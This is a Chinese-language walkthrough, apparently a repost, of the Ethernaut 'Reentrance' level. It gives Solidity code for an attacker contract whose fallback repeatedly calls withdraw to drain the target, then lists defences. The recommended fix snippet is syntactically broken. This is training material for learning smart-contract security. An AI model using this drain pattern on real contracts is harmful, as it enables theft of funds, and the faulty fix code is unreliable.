什么是重入攻击?
重入攻击发生在单线程计算环境中,当执行堆栈跳转或调用子例程时,在返回到原始执行之前。
一方面,这种单线程执行确保了智能合约的原子性,并消除了一些竞争条件。另一方面,合约容易受到执行顺序不佳的影响。
在上面的示例中,合同B是恶意合同,递归地调用A.withdraw()来耗尽合同A的资金。请注意,基金提取在合同A从其递归循环返回之前成功完成,甚至意识到B已经提取出超过其自身余额的方式。
此Ethernaut级别利用此重入问题以及导致DAO黑客攻击的以下其他因素:
· 任何人都可以调用Fallback函数并执行恶意代码
· 恶意外部合同可能会滥用提款权
1、创建一个名为Reenter.sol的恶意合同,该合同将首先捐赠给Reentrance.sol,然后递归地从中退出,直到Reentrance耗尽资金。
contract Reenter {
Reentrance public original = Reentrance(YOUR_INSTANCE_ADDR);
uint public amount = 1 ether; //withdrawal amount each time
}
2、Reenter.sol和以太合约结构相同
constructor() public payable {
}
3、创建公共函数,以便reenter.sol可以向reentrance.sol捐款,并在其余额分类账中注册为捐赠者:
function donateToSelf() public {
original.donate.value(amount).gas(4000000)(address(this));//need to add value to this fn
}
4、调用此函数将确保您的恶意合同至少可以调用withdraw()一次,即通过if(balances [msg.sender]》 = _amount)检查。
上图说明了Reenter.sol从Reentrance.sol中提取所有资金的递归循环。
让我们在合同B中实现恶意回退功能,这样当合同A执行msg.sender.call.value(_amount)()退还合同B时,您的恶意合同会触发更多的撤销。
5、实现此恶意回退函数:
function() public payable {
if (address(original).balance != 0 ) {
original.withdraw(amount);
}
}
最后,在Remix中:将您的合同部署到Ropsten,为其植入以太,捐赠给Reentrance,然后调用Fallback函数,从Reentrance中耗尽所有资金。
关键要点:
· 执行顺序在Solidity中非常重要。如果你必须进行外部函数调用,那就做你做的最后一件事(在所有必要的检查和余额之后):
function withdraw(uint _amount) public {
if(balances[msg.sender] 》= _amount) {
balances[msg.sender] -= _amount;
if(msg.sender.transfer(_amount)()) {
_amount;
}
}
}
// Or even better, invoke transfer in a separate function
· 包括一个互斥锁以防止重入,例如 使用布尔锁变量来指示执行深度。
· 使用函数修饰符检查不变量时要小心:修饰符在函数开头执行。 如果变量状态将在整个函数期间发生变化,请考虑将修改器提取到放置在函数中正确行的检查中。
· “使用转移将资金从合同中转出,因为它会抛出并限制gas转发。 调用和发送等低级函数只返回false,但是当接收合同失败时不会中断执行流程。“
相关热词:#区块链
VRRP是什么?VRRP的作用和工作原理
时间:2026-06-05
32768晶振封装尺寸详解
时间:2026-06-05
静态路由是什么?静态路由如何配置?
时间:2026-06-05
一文详解光耦的作用与分类、使用技巧
时间:2026-06-05
热插拔是什么?热插拔有哪些特点?
时间:2026-06-05
深度解析电磁炉的工作原理与常见故障
时间:2026-06-04
介绍电流互感器的6种常见接线方法
时间:2026-06-04
VGA接口的详细解读和应用
时间:2026-06-04
物联网新兴薄膜技术
时间:2026-06-04
接触器的规格、原理结构、应用接线
时间:2026-06-04
GoKit3的硬件电路原理
时间:2026-03-06
如何搭建一个私有云平台
时间:2026-03-06
一文了解物联网(IoT)的多维挑战
时间:2026-03-06
基于 STM32和机智云物联网平台的农作物需水...
时间:2026-03-06
如何实现热水器的远程控制功能
时间:2026-03-06
物联网中常用指令——AT命令
时间:2026-03-06
物联网的前世今生:什么是物联网?实现物联...
时间:2026-03-06
基于N32G457和RT-Thread打造的私有化定制家...
时间:2026-03-06
朗骏智能推出四款全新的可联网智能光控产品
时间:2026-03-06
基于NBIOT的云端语音报警系统
时间:2026-03-06